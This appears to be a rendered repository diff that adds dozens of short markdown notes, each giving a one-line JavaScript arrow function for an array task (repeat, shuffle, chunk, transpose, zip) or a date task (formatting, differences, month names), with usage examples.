In this Article we will go through how to repeat an array only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const repeat = (arr, n) => [].concat(...Array(n).fill(arr));
|
||||
```
|
||||
Parameters `arr` is an array.
|
||||
|
||||
|
||||
|
||||
|
||||
### Or
|
||||
|
||||
```js {.wrap}
|
||||
const repeat = (arr, n) => Array(n).fill(arr).flat();
|
||||
```
|
||||
|
||||
### Or
|
||||
|
||||
```js {.wrap}
|
||||
const repeat = (arr, n) => Array(arr.length * n).fill(0).map((_, i) => arr[i % arr.length]);
|
||||
```
|
||||
|
||||
### Or
|
||||
|
||||
```js {.wrap}
|
||||
const repeat = (arr, n) => Array.from({ length: arr.length * n }, (_, i) => arr[i % arr.length]);
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
repeat([1, 2, 3], 3); // [1, 2, 3, 1, 2, 3, 1, 2, 3]
|
||||
```
|
||||
@@ -0,0 +1,34 @@
|
||||
---
|
||||
title: How to shuffle an array in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to shuffle an array only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const shuffle = arr => arr.map(a => ({ sort: Math.random(), value: a })).sort((a, b) => a.sort - b.sort).map(a => a.value);
|
||||
```
|
||||
|
||||
### Or
|
||||
|
||||
```js {.wrap}
|
||||
const shuffle = arr => arr.sort(() => .5 - Math.random());
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
shuffle([1, 2, 3, 4, 5, 6, 7, 8, 9, 10]); // [9, 1, 10, 6, 8, 5, 2, 3, 7, 4]
|
||||
```
|
||||
@@ -0,0 +1,42 @@
|
||||
---
|
||||
title: How to sort an array of items by given key in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to sort an array of items by given key only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const sortBy = (arr, k) => arr.concat().sort((a, b) => (a[k] > b[k]) ? 1 : ((a[k] < b[k]) ? -1 : 0));
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
const people = [
|
||||
{ name: 'Foo', age: 42 },
|
||||
{ name: 'Bar', age: 24 },
|
||||
{ name: 'Fuzz', age: 36 },
|
||||
{ name: 'Baz', age: 32 },
|
||||
];
|
||||
sortBy(people, 'age');
|
||||
|
||||
// returns
|
||||
// [
|
||||
// { name: 'Bar', age: 24 },
|
||||
// { name: 'Baz', age: 32 },
|
||||
// { name: 'Fuzz', age: 36 },
|
||||
// { name: 'Foo', age: 42 },
|
||||
// ]
|
||||
```
|
||||
@@ -0,0 +1,28 @@
|
||||
---
|
||||
title: How to sort an array of numbers in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to sort an array of numbers only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const sort = arr => arr.sort((a, b) => a - b);
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
sort([1, 5, 2, 4, 3]); // [1, 2, 3, 4, 5]
|
||||
```
|
||||
@@ -0,0 +1,29 @@
|
||||
---
|
||||
title: How to split an array into chunks in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to split an array into chunks only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const chunk = (arr, size) => arr.reduce((acc, e, i) => (i % size ? acc[acc.length - 1].push(e) : acc.push([e]), acc), []);
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
chunk([1, 2, 3, 4, 5, 6, 7, 8], 3); // [[1, 2, 3], [4, 5, 6], [7, 8]]
|
||||
chunk([1, 2, 3, 4, 5, 6, 7, 8], 4); // [[1, 2, 3, 4], [5, 6, 7, 8]]
|
||||
```
|
||||
@@ -0,0 +1,44 @@
|
||||
---
|
||||
title: How to swap the rows and columns of a matrix in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to swap the rows and columns of a matrix only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const transpose = matrix => matrix[0].map((col, i) => matrix.map(row => row[i]));
|
||||
```
|
||||
|
||||
### Or
|
||||
|
||||
```js {.wrap}
|
||||
const transpose = matrix => matrix[0].map((col, c) => matrix.map((row, r) => matrix[r][c]));
|
||||
```
|
||||
|
||||
### Or
|
||||
|
||||
```js {.wrap}
|
||||
const transpose = matrix => matrix.reduce((prev, next) => next.map((item, i) => (prev[i] || []).concat(next[i])), []);
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
transpose([ // [
|
||||
[1, 2, 3], // [1, 4, 7],
|
||||
[4, 5, 6], // [2, 5, 8],
|
||||
[7, 8, 9], // [3, 6, 9],
|
||||
]); // ]
|
||||
```
|
||||
@@ -0,0 +1,31 @@
|
||||
---
|
||||
title: How to swap two array items in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to swap two array items only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const swapItems = (a, i, j) => a[i] && a[j] && [...a.slice(0, i), a[j], ...a.slice(i + 1, j), a[i], ...a.slice(j + 1)] || a;
|
||||
```
|
||||
Parameters `i` must be less than `j`.
|
||||
|
||||
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
swapItems([1, 2, 3, 4, 5], 1, 4); // [1, 5, 3, 4, 2]
|
||||
```
|
||||
@@ -0,0 +1,36 @@
|
||||
---
|
||||
title: How to unzip an array of arrays in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to unzip an array of arrays only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const unzip = arr => arr.reduce((acc, c) => (c.forEach((v, i) => acc[i].push(v)), acc), Array.from({ length: Math.max(...arr.map(a => a.length)) }, (_) => []));
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
unzip([['a', 1], ['b', 2], ['c', 3], ['d', 4], ['e', 5]]); // [['a', 'b', 'c', 'd', 'e'], [1, 2, 3, 4, 5]]
|
||||
|
||||
/*
|
||||
a 1
|
||||
b 2
|
||||
c 3
|
||||
d 4
|
||||
e 5
|
||||
*/
|
||||
```
|
||||
@@ -0,0 +1,37 @@
|
||||
---
|
||||
title: How to zip multiple arrays in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to zip multiple arrays only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const zip = (...arr) => Array.from({ length: Math.max(...arr.map(a => a.length)) }, (_, i) => arr.map(a => a[i]));
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
zip(['a', 'b', 'c', 'd', 'e'], [1, 2, 3, 4, 5]); // [['a', 1], ['b', 2], ['c', 3], ['d', 4], ['e', 5]]
|
||||
|
||||
/*
|
||||
Does it look like a zipper?
|
||||
a 1
|
||||
b 2
|
||||
c 3
|
||||
d 4
|
||||
e 5
|
||||
*/
|
||||
```
|
||||
@@ -0,0 +1,36 @@
|
||||
---
|
||||
title: How to add am pm suffix to an hour in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Date Time
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to add am pm suffix to an hour only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const suffixAmPm = h => `${h % 12 === 0 ? 12 : h % 12}${h < 12 ? 'am' : 'pm'}`;
|
||||
```
|
||||
Parameters `h` is an hour number between 0 and 23.
|
||||
|
||||
|
||||
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
suffixAmPm(0); // '12am'
|
||||
suffixAmPm(5); // '5am'
|
||||
suffixAmPm(12); // '12pm'
|
||||
suffixAmPm(15); // '3pm'
|
||||
suffixAmPm(23); // '11pm'
|
||||
```
|
||||
+28
@@ -0,0 +1,28 @@
|
||||
---
|
||||
title: How to calculate the number of difference days between two dates in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Date Time
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to calculate the number of difference days between two dates only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const diffDays = (date, otherDate) => Math.ceil(Math.abs(date - otherDate) / (1000 * 60 * 60 * 24));
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
diffDays(new Date('2014-12-19'), new Date('2020-01-01')); // 1839
|
||||
```
|
||||
+28
@@ -0,0 +1,28 @@
|
||||
---
|
||||
title: How to calculate the number of months between two dates in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Date Time
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to calculate the number of months between two dates only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const monthDiff = (startDate, endDate) => Math.max(0, (endDate.getFullYear() - startDate.getFullYear()) * 12 - startDate.getMonth() + endDate.getMonth());
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
monthDiff(new Date('2020-01-01'), new Date('2021-01-01')); // 12
|
||||
```
|
||||
@@ -0,0 +1,31 @@
|
||||
---
|
||||
title: How to compare two dates in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Date Time
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to compare two dates only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const compare = (a, b) => a.getTime() > b.getTime();
|
||||
```
|
||||
Parameters `a` and `b` are `Date` instances.
|
||||
|
||||
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
compare(new Date('2020-03-30'), new Date('2020-01-01')); // true
|
||||
```
|
||||
@@ -0,0 +1,32 @@
|
||||
---
|
||||
title: How to convert a date to yyyy-mm-dd format in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Date Time
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to convert a date to yyyy-mm-dd format only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const formatYmd = date => date.toISOString().slice(0, 10);
|
||||
```
|
||||
Parameters `date` is a `Date` object.
|
||||
|
||||
|
||||
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
formatYmd(new Date()); // 2020-05-06
|
||||
```
|
||||
@@ -0,0 +1,45 @@
|
||||
---
|
||||
title: How to convert seconds to hh:mm:ss format in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Date Time
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to convert seconds to hh:mm:ss format only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const formatSeconds = s => new Date(s * 1000).toISOString().substr(11, 8);
|
||||
```
|
||||
Parameters `s` is number of seconds.
|
||||
|
||||
|
||||
|
||||
|
||||
### Or
|
||||
|
||||
```js {.wrap}
|
||||
const formatSeconds = s => (new Date(s * 1000)).toUTCString().match(/(\d\d:\d\d:\d\d)/)[0];
|
||||
```
|
||||
|
||||
### Or
|
||||
|
||||
```js {.wrap}
|
||||
const formatSeconds = s => [parseInt(s / 60 / 60), parseInt(s / 60 % 60), parseInt(s % 60)].join(':').replace(/\b(\d)\b/g, '0$1');
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
formatSeconds(200); // 00:03:20
|
||||
formatSeconds(500); // 00:08:20
|
||||
```
|
||||
+28
@@ -0,0 +1,28 @@
|
||||
---
|
||||
title: How to extract year, month, day, hour, minute, second and millisecond from a date in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Date Time
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to extract year, month, day, hour, minute, second and millisecond from a date only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const extract = date => date.toISOString().split(/[^0-9]/).slice(0, -1);
|
||||
```
|
||||
Parameters `date` is a `Date` object.
|
||||
|
||||
|
||||
Parameters `extract` is an array of [year, month, day, hour, minute, second, millisecond].
|
||||
|
||||
|
||||
@@ -0,0 +1,35 @@
|
||||
---
|
||||
title: How to format a date for the given locale in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Date Time
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to format a date for the given locale only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const format = (date, locale) => new Intl.DateTimeFormat(locale).format(date);
|
||||
```
|
||||
Parameters `locale` is a locale (en-US, pt-BR, for example).
|
||||
|
||||
|
||||
Parameters `date` is a `Date` object.
|
||||
|
||||
|
||||
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
format(new Date(), 'pt-BR'); // 06/05/2020
|
||||
```
|
||||
@@ -0,0 +1,22 @@
|
||||
---
|
||||
title: How to get the current quarter of a date in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Date Time
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to get the current quarter of a date only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const getQuarter = (d = new Date()) => Math.ceil((d.getMonth() + 1) / 3);
|
||||
```
|
||||
@@ -0,0 +1,22 @@
|
||||
---
|
||||
title: How to get the current timestamp in seconds in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Date Time
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to get the current timestamp in seconds only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const ts = () => Math.floor(new Date().getTime() / 1000);
|
||||
```
|
||||
@@ -0,0 +1,32 @@
|
||||
---
|
||||
title: How to get the day of the year from a date in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Date Time
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to get the day of the year from a date only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const dayOfYear = date => Math.floor((date - new Date(date.getFullYear(), 0, 0)) / (1000 * 60 * 60 * 24));
|
||||
```
|
||||
Parameters `date` is a Date object.
|
||||
|
||||
|
||||
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
dayOfYear(new Date(2020, 04, 16)); // 137
|
||||
```
|
||||
@@ -0,0 +1,22 @@
|
||||
---
|
||||
title: How to get the first date in the month of a date in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Date Time
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to get the first date in the month of a date only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const getFirstDate = (d = new Date()) => new Date(d.getFullYear(), d.getMonth(), 1);
|
||||
```
|
||||
@@ -0,0 +1,22 @@
|
||||
---
|
||||
title: How to get the last date in the month of a date in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Date Time
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to get the last date in the month of a date only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const getLastDate = (d = new Date()) => new Date(d.getFullYear(), d.getMonth() + 1, 0);
|
||||
```
|
||||
@@ -0,0 +1,25 @@
|
||||
---
|
||||
title: How to get the month name of a date in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Date Time
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to get the month name of a date only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const getMonthName = date => ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October',' November', 'December'][date.getMonth()];
|
||||
```
|
||||
Parameters `date` is a Date object.
|
||||
|
||||
|
||||
@@ -0,0 +1,25 @@
|
||||
---
|
||||
title: How to get the number of days in given month in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Date Time
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to get the number of days in given month only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const daysInMonth = (month, year) => new Date(year, month, 0).getDate();
|
||||
```
|
||||
Parameters `month` is zero-based index.
|
||||
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
---
|
||||
title: How to get the timezone string in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Date Time
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to get the timezone string only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const getTimezone = () => Intl.DateTimeFormat().resolvedOptions().timeZone;
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
getTimezone(); // 'Asia/Saigon'
|
||||
```
|
||||
Loaded 100 of 484 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user